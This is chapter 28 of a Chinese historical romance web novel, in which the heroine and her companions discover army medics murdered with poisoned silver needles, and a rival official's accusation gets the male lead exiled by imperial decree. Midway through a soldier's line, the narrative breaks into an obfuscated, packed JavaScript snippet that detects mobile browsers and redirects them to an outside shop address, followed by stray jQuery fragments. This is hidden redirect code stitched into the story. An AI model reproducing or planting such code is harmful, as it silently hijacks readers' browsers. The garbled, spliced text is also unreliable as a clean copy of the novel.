28. 第 28 章

作品:《官家女

    书子锦深知燕铮不是轻易相信别人的性子,但是秦昀深就凭借挚友这个名分,也就知道了他有这个能耐。


    书子锦暗自想着,真怕是秦昀深已经在燕铮这里占了几分。想来又想去,貌似也不是什么坏事,这样一来就有多一个人来喜欢燕铮了。


    四十九人整装待发按照小组排队站在军营门口,秦昀深骑在马上绕了一圈看见燕铮站在最后面。


    面上挂上笑容满满靠近身边,俯身低声说:“你也要去吗?”


    闻言燕铮平淡点头,抬眼看向他解释道:“军医一同去的有几人不熟悉,怕有人做手脚阿锦一人忙不过来,我虽不擅医但普通止血什么的我还是会的,也能帮着分担一些。”


    听燕铮这么说才注意到燕铮身旁还站着书子锦,书子锦板着脸抱臂上下打量了一番,怪声怪气说着:“小侯爷就是不一样,眼中只看见了我家铮儿一人。”


    秦昀深面对书子锦的调侃也不恼,眼眸妖妖似是在笑着礼貌说着:“书小姐说笑了,眼中有一人才合理吧,只是谈话太过于专注了。”


    书子锦呵了一声,自己都看见他看向燕铮那个黏腻暧昧的眼神,恨不得整天呆在一起一样。


    秦昀深没管书子锦的哼声,说完转头又看向燕铮,柔声说:“铮铮,那边还有马匹骑马会快些。”


    刚刚说完排在前面的小组已经开始出发了,见前面有了些动静秦昀深低首看向燕铮,瞧见她点点头才昂首离开。


    秦昀深肩上的飘带被风吹得飞起,一抹红色扫过燕铮面前。阳光正好洒过渡了层颜色,添了几分美意。


    “铮儿,就剩下一匹马了。”书子锦将马牵过来,有些发难的望向燕铮。


    燕铮接过缰绳弯腰将书子锦抱起,说:“无事,那你坐在前面,我带着你。”书子锦坐安稳后燕铮利索上马,甩了甩缰绳。


    将军所设置的营帐就在湖泊旁边,方便退下来的士兵安歇,万一有受伤的诊治也能够及时。


    二人到的时候所有的医用东西都已经弄好,秦昀深与李将军站在营帐前看着不远处的小黑头移动。二人细细分析着刚刚的选择,燕铮就站在旁边听。


    半日过去被迫下来的人就有十九位,军医检查没有受伤后李将军便挥挥手让人回了军营呆着。


    “那死士你可想好对策了?”


    秦昀深点点头贴近小说说着:“我暗中已经派出去几个人暗中盯着,会小心解决掉然后就地掩埋,收拾完回来自会给我报信。”


    燕铮点头心中细数着,回来的次数。


    随着士兵下来的越来越多逐渐敲响了尾声,李将军当即让人去寻那剩下的一组。


    看着最后的结果笑呵呵的说:“选拔之事创新虽是第一次实行但是好在最后的结果不错,剩下一组中择优选择了三位,比去年还多出一位。”


    见人都回来了身后的营帐就开始收拾,准备回军营。燕铮细数回来的人数,伸手拽住秦昀深的袖子贴近小声说着:“人数不对,少了三位。”


    秦昀深闻言蹙眉,貌似自己派出去的人少了。


    书子锦蹲在一旁收拾着东西:“小林哥,你的银针怎么不见了?”


    见没人回应自己有些不耐烦的抬头又问:“小林哥?”


    半天还是没有回应便起身转悠半天都没有看到,问其他人也说没有看见,顿时有些着急:“铮儿,有军医不见了。”


    燕铮蹙眉补充:“还有秦昀深暗中派出去的人,也不见了。”


    李将军正在训话,闻言转身连忙跑过来询问:“什么,怎么会不见,难不成山上迷路了?”


    秦昀深紧皱眉头看向两个山头,沉声道:“军医迷路倒是有可能,他们是不会的,猜糟糕点…就是已经遇险了。”


    “而且那个军医为什么要上山,也没有收到什么消息说是有人在山上受伤了都下不来吧。”燕铮说着,又补充一句:“而且我们都没有发现,应该是偷溜出去的。”


    “李将军,先让他们回去,借我一些人马,搜山。”


    话落李将军身后的几人站出来,什么都没有说直接分头向两座山上跑去,燕铮转头想要说什么被书子锦打断。


    “我同你们一起去,万一有个什么突发情况。”严肃的神情让燕铮让步点点头。


    山势相对平缓,树林子也挡不住,一眼望过去也能看见许多。面上都搜查了一遍没有发现什么东西,燕铮猛然想起地势图上标注的山洞转头吩咐了几声。


    两边山头的搜寻还没有结束,很快燕铮吩咐的人搜查回来了。


    “燕大人,在您说的几个山洞内确实发现了尸体。”


    三人立马跟在身后跑向山洞的方向,洞内的尸体已经被搬运出来摆在洞口。


    秦昀深快步上前确认:“是我吩咐的人,那这个就是军医?”


    书里锦连忙上前看了一眼点点头,蹲下查看尸体看到了不见的银针被插在脖颈处。


    脖颈间的皮肤成黑紫色,青色的血管突出。书子锦用手帕小心翼翼取出银针,针尖是黑色。目光瞬间转移到旁边躺着的两具尸体,露在外面的皮肤上并无出现这样的中毒痕迹。


    双手开始扒着外衣,“愣着做什么,帮忙。”


    几位将士上手将二人的外衣脱掉方便书子锦检查,半响给出了回复:“身上有伤,目前推测肋骨断了三根,后背小腹等地方都有殴打的痕迹,还有小腿有剑伤。”


    书子锦喃喃自语小声的自我怀疑着,眉头拧成一个川字。


    “那还是不对啊……银针怎么会少那么多?”


    二人听着书子锦的分析皆是一愣,燕铮上前蹲下身仔细看着那两具尸体。不仅仅是书子锦刚刚所说的,二人的面容上还有剑伤,顺着剑伤往上摸在头顶处摸到了一个凸点。


    燕铮心中一惊顺手摸向一人的同处位置,同样的触感。用力拔出正是两根银针。


    “阿锦!”


    书子锦惊恐的接过银针一同放在手帕之上,控制不住的手抖。


    “这种毒针从头顶穿入先是意识模糊,然后犹如虫蚁啃噬般痛苦,渐渐失去意识但是身体感官还是清楚的很,这个应该就是致命伤。”


    书子锦说话的声音都发着抖,嘴唇跟着颤抖半天酝酿出一句话:“可是……他没有练过武的茧子啊,这么明显的兵器伤痕,那就一定还有帮凶……还有针没有找到。”


    书子锦顿时感受到无措,三条人命就这样没了。一时间慌了神抬眸看向燕铮,眼中圈着的情绪溢了出来。


    一时无言陷入了沉默,书子锦深吸一口气吩咐着将尸体的外衣穿好。


    “他的我也看过了,就脖颈那一处是致命伤。但是还有银针我没有找到……”


    突然来的士兵打破了沉默,小心翼翼低着头说着:“还请


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178459|196278||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    各位回军营,宫中来人了。”


    三人对视一眼,什么人来的,什么消息传到了宫中?


    高官的死瞬间让众人内心响起警铃,埋葬好三具尸体几人匆匆回到军营。远远就看见一辆马车停在军营之外,几队侍从站在马车旁。


    李将军瞧见几人进了军营连连招手示意过来,站在面前的公公瞧见人来了,拿出了圣旨。


    “秦昀深,听旨吧。”


    “奉天承运,皇帝诏曰:秦昀深,玩忽职守害同窗外出丧命,案件拖延多时未有进展,同他人结党营私破坏朝堂维纪。今发配易州苦寒之地,引以为戒。”


    尖锐的嗓音刺入秦昀深内心,呆愣的抬起头看向公公。


    “敢问公公,何为害命?”


    公公满脸的惋惜,低声说着:“秦大人何必呢,杨青大人可是跪在圣上寝殿前跪了整整一晚喊着害人性命,一早就拟好了御状当着文武百官的面呈于圣上。”


    谁?


    燕铮错愕的抬头,瞳孔微微收缩,听着公公解释的话满眼都是不可置信。


    “秦大人,接旨吧。”说着公公已经弯腰将圣旨递到秦昀深面前,燕铮猛的起身站在秦昀深身旁。


    “敢问公公,杨青抗旨不从、替从官职杀害十几条人命该怎么算。”递过来的圣旨被燕铮衣裙微微挡住,燕铮冷脸问着。


    “这……”公公犹豫了一下,“圣上自有定夺。”


    闻言燕铮将衣袖中的圣旨拿出,“奉命巡查,杨青涉嫌民间门派案件,大理寺卿已经从高知口中询问出杨青谋害十几条人命,这样的人当真会为同窗痛哭流涕吗?”


    公公垂眸不知道眼睛看着哪里,说话犹犹豫豫,半响才说:“燕小姐就别为难咋家了……”


    “我自然不会为难公公,劳请公公将这圣旨连同文书一同带入宫中交给圣上定夺,这道圣旨还是公公收回吧。”


    见公公为难的样子,燕铮又说:“圣旨即是皇权,皇权抵皇权怎的到我手上就不中用了。”


    “那自然是中用的。”


    燕铮转身进入营帐没多久拿着文书出来,连同圣旨一并递到公公手上。


    “还请公公仔细着。”


    “那是自然那是自然。”公公转身快步离开,燕铮回头看着还跪在地上的秦昀深。伸手将人拉起,冷脸整理凌乱的发丝。


    秦昀深哑口无言默默的站在原地不动乖乖让燕铮整理着,垂眸看着板着脸的人。仿佛还未从刚刚宣告的后半生中醒悟过来一样,出了神。


    “你刚刚……”


    “我够不到。”秦昀深一愣随后缓缓弯下腰。


    “管他个劳什子的令,眼下的情况更加糟糕我想要查清楚的事情还没有水落石出。”燕铮说着抬眸正对上秦昀深的眼。


    “你绝对不能离开,至少眼下我能护得住。”燕铮说的柔声又坚定,半响秦昀深呆愣住,眼中的情绪翻了又翻。


    燕铮,她为了自己将求来的圣旨交出去,就为了给自己抗旨。


    “铮铮,我……”


    燕铮不知道秦昀深要说什么说了一半,自己刚刚那番行为理智告诉自己本是不应该的,圣旨在手会方便许多。


    但,下意识的行为战胜了理智。对公公说完那番话脑子好像才反应过来,燕铮扬唇一笑,不过也许这才是最应该的选择呢。


    选择秦昀深,而并非皇权。